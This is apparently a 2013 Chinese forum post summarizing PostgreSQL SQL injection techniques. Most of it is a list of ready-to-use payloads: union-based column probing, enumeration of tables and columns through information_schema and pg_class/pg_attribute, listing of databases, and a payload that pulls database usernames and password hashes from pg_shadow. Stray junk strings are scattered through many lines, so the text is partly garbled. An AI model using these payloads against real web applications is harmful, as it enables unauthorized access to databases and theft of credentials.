找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2141|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
1 k) y( D6 _  H$ ?7 `

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
- i+ L) E, l( g* B  o连接符: %20 , + , /**/

内置函数:
) g5 R' d' E3 e1 `& A- P& M/ Jcurrent_database() //当前数据库名
  Y+ P) D' z) d+ Q  z8 l( ysession_user //会话用户
! {8 c: p+ O* {5 d- Z" J( Qcurrent_user //当前数据库用户
5 y* V  n6 X/ m: Y0 m7 Auser //当前用户
. k8 `8 B' \, x  Yversion() //数据库版本

Union注射:
) E$ q! I. R& k' ]: E* Torder by n–
- i: c, f' V6 U& pand 1=2 union select null,null,null–, s9 A# h' i# g" M& k. X
and 1=2 union select ‘beach’,null,null–9 h% n  X- q7 X) \  d% x) M; f
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):6 R$ V; N4 a3 P% n" e  ]1 T" _) ^4 k
group_concat(table_name)
! K7 f  n% Z0 S$ C2 ]2 [3 sand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
4 A0 X' ~: _- nand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
# z) @" L* ?, d2 F(老版本)/ x2 [. x# n+ I9 s
pg_class.oid对应pg_attribute.attrelid
& e+ E9 b8 `) K8 z' [pg_class.relname表名+ ^# e' G8 _9 K/ }
pg_attribute.attname字段名

select relname from pg_class获取表名  @+ ^9 I% T& H6 E
select oid from pg_class where 条件 获取参数
0 ~. i9 B& H& s7 Y# `select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
; p' c2 ^6 W( qand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
9 A, K: e2 [% }and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
' S. F, X7 X& I由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
) W# Z, R9 a3 k( _( G* \, m! c" v======================================================================* A# N' N) f6 W% Q' F! f; Z
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
# T  X' A+ v* L6 q/ T6 b8 xand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表